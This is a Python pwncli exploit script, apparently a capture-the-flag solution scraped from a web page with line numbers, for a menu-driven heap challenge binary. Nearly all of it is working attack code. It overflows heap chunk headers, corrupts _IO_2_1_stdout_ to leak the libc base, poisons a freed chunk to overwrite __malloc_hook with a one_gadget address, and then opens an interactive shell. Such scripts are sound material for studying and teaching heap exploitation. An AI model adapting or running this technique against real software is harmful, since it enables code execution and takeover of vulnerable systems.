1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3

4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7

8
# use script mode
9
cli_script()
10

11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15

72 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
18

19
def cmd(i, prompt=b">>"):
20
    sla(prompt, i)
21
def add(idx,size):
22
    cmd(b"1")
23
    ru(b"Index:")
24
    sl(str(idx).encode())
25
    ru(b"Size:")
26
    sl(str(size).encode())
27
    # ......
28
def edit(idx, size, co):
29
    cmd(b"3")
30
    ru(b"Index:")
31
    sl(str(idx).encode())
32
    ru(b"New size of content:")
33
    s(size)
34
    ru(b"What do you want to say:")
35
    s(co)
36
    # ......
37
def dele(idx):
38
    cmd(b"2")
39
    ru(b"Index:")
40
    sl(str(idx).encode())
41
    # ......
42

43

44
add(0,0x1f0)
45
add(1,0x50)  # 辅助堆块
46
add(2,0x1f0)
47
add(3,0x1f0)
48
add(4,0x1f0)
49
add(5,0x1f0) # 用于申请到_IO_2_1_stdout_
50
add(6,0x1f0)
51
add(7,0x20)
52
add(12,0x30) # 辅助堆块
53
add(13,0x30)
54
add(14,0x40)
55
add(15,0x40) # 用于修改malloc hook
56
# pause()
57
edit(1,b"A"*0x58+p16(0x601),b"B"*0x10)
58
dele(2)
59
dele(0)
60
dele(3)
61
add(8,0x30)
62
add(9,0x1b0)
63
# pause()
64
edit(8,b"C"*0x40+p16(0x221),b"B")
65
# pause()
66
edit(9,b"AAAA",b"C"*0x1b0+p64(0x401)+p16(0x2690))
67
pause()
68
add(10,0x1f0)
69
add(11,0x1f0)
70
edit(11,b"A",b"B"*8+p64(0xfbad1887)+p64(0)*3+b"\x00")
71
libc_base = x64()-0x1ec980
72
leak("libc_base",libc_base)
73
malloc_hook = libc_base + libc.sym["__malloc_hook"]
74
one = [0xe3afe, 0xe3b01, 0xe3b04]
75

76
dele(15)
77
dele(14)
78
# pause()
79
edit(12,b"B"*0x40+p16(0x120),b"A")
80
edit(13,b"A",b"C"*0x28+p64(0)+p64(0x51)+p64(malloc_hook-0x10))
81
add(14,0x40)
82
add(15,0x40)
83
edit(15,b"A",b"BBBBBBBB"+p64(libc_base+one[1]))
84

85
add(16,0x40)
86

87
ia()